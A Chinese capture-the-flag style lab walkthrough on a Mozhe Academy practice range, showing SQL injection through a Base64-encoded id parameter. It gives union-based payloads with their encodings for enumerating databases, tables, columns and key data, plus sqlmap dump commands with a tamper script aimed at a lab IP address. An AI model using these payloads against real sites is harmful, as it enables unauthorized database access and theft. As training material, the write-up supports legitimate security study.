1. 墨者學院:SQL注入實戰-MySQL🚀
2. 實訓重點目標?
目標一: 了解sqlmap的使用及其tamper插件的使用;
目標二: 了解base64編碼及解碼。
3. 解題方向🔍
目標網站的id
參數通過Base64編碼傳輸,因此:
- 手工注入:需將SQL語句Base64編碼后注入
- SQLMAP工具:需使用
--tamper=base64encode
自動編碼Payload(有效載荷:是指攻擊者發送給目標系統的惡意數據或代碼,用于觸發漏洞或執行特定操作)
4. 手工注入方式🎯
4.1 判斷字段數?
1 order by 3
Base64編碼:
MSBvcmRlciBieSAz
4.2 確定回顯位?
1 and 1=2 union select 1,2
或
-1 union select 1,2
Base64編碼:
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLDI=
LTEgdW5pb24gc2VsZWN0IDEsMg==
4.3 獲取數據庫信息?
1 and 1=2 union select database(),version()
Base64編碼:
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBkYXRhYmFzZSgpLHZlcnNpb24oKQ==
4.4 獲取系統信息?
1 and 1=2 union select @@version_compile_os,user()
Base64編碼:
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBAQHZlcnNpb25fY29tcGlsZV9vcyx1c2VyKCk=
4.5 爆表名?
1 and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema='test'
Base64編碼:
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSksMiBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSd0ZXN0Jw==
4.6 爆列名?
1 and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_name='data'
Base64編碼:
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDIgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSdkYXRhJw==
4.7 獲取數據?
1 and 1=2 union select group_concat(thekey),2 from data
Base64編碼:
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQodGhla2V5KSwyIGZyb20gZGF0YQ==
5. SQLMAP工具測試🎯
5.1 獲取所有數據庫?
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" --dbs --batch --tamper=base64encode
5.2 獲取test庫的表?
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test --tables --batch --tamper=base64encode
5.3 獲取data表的列?
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test -T data --columns --batch --tamper=base64encode
5.4 導出數據?
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test -T data -C id,title,main,thekey --dump --batch --tamper=base64encode
5.5 清理緩存?
python sqlmap.py --purge
該指令用于清除sqlmap的緩存,因為重啟靶場,端口會發生變化,可能獲取到的password是之前的數據,詳細的sqlmap命令獲取如下:
python sqlmap.py -h
5.6 參數說明表?
參數 | 作用 |
---|---|
--dbs | 枚舉所有數據庫 |
-D test | 指定目標數據庫 |
--tables | 枚舉表名 |
-T data | 指定目標表 |
--columns | 枚舉列名 |
--dump | 導出數據 |
--tamper=base64encode | 自動Base64編碼Payload |
6. 在線工具🔧
- 加菲工具:https://www.orcc.top/tools/base64
- 錘子工具:https://www.toolhelper.cn/EncodeDecode/Base64
- 白盒子工具:https://www.baihezi.com/base64
7. 總結🏁
- Base64編碼的SQL注入需手工編碼或使用
tamper
插件 - 手工注入需逐步驗證回顯位和數據結構
- sqlmap可自動化完成全流程檢測
聲明:本文僅用于安全學習,嚴禁非法測試! ???